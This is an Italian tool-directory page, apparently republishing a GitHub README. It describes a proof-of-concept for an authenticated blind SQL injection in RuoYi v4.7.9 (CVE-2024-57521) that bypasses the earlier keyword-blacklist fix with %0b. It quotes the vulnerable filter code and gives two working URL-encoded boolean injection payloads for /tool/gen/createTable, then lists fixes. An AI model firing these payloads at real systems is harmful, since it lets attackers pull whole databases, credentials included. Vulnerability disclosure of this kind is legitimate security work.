Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-57521-SQL-Injection-PoC — Exploit proof-of-concept per Blind SQL injection su RuoYi v4.7.9, che bypassa il filtro CVE-2024-42900 per scaricare database tramite iniezione booleana autenticata. | Kitploit
Strumenti/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Exploit proof-of-concept per Blind SQL injection su RuoYi v4.7.9, che bypassa il filtro CVE-2024-42900 per scaricare database tramite iniezione booleana autenticata.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
18 mesi faNon ancora revisionato
Condividi

Iniezione SQL autenticata in RuoYi v4.7.9 (Bypass di CVE-2024-42900)

Introduzione

Ho scoperto una vulnerabilità di Blind SQL Injection nella funzionalità createTable del framework RuoYi v4.7.9. Ciò consente a un amministratore autenticato di eseguire comandi SQL arbitrari tramite il parametro sql. Si tratta di un bypass della correzione di CVE-2024-42900 poiché il filtro SQL Injection nel metodo filterKeyword è insufficiente; la regex può essere aggirata utilizzando %0b come carattere alternativo agli spazi.

Versione Affetta

Prodotto: RuoYi Framework
Versione: ≤ 4.7.9
Link: [Ruoyi]

Analisi della Vulnerabilità

La vulnerabilità è stata trovata nel file https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java come segue. L'applicazione si basa su parole chiave in blacklist per filtrare gli attacchi SQL Injection; questo approccio è soggetto a bypass. In questo caso, per correggere CVE-2024-42900, la stringa è stata aggiunta alla blacklist, ma l'applicazione ancora non blocca il carattere , quindi posso usarlo per innescare SQL Injection con .

/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

La regex select corrisponde a select (seguito da uno spazio). Non corrisponde a select%0b, che è un separatore valido in SQL.

Passi per riprodurre la SQL Injection booleana

  1. Accedi come amministratore
  2. Invia la richiesta createTable (endpoint vulnerabile /tool/gen/createTable)
    a. Inietta una query VERA: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Inietta una query FALSA: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Attenzione: È necessario cambiare il nome della tabella nella query CREATE dopo ogni query riuscita. 3. Con la SQL Injection basata su booleani, i dati possono essere esfiltrati utilizzando il [poc] Python in questo repo
Utilizzo
poc-usage
Esfiltra versione DB poc
poc-db-version

Impatto

Un attaccante con privilegi amministrativi può scaricare l'intero database, comprese le credenziali di altri utenti e le configurazioni di sistema.

Raccomandazioni

  1. Filtrare il carattere %0b.
  2. Filtrare la parola chiave select invece di select (rimuovere lo spazio finale)
  3. Aggiornare il CMS alla versione 4.8.0 di Ruoyi CMS
Scarica lo strumento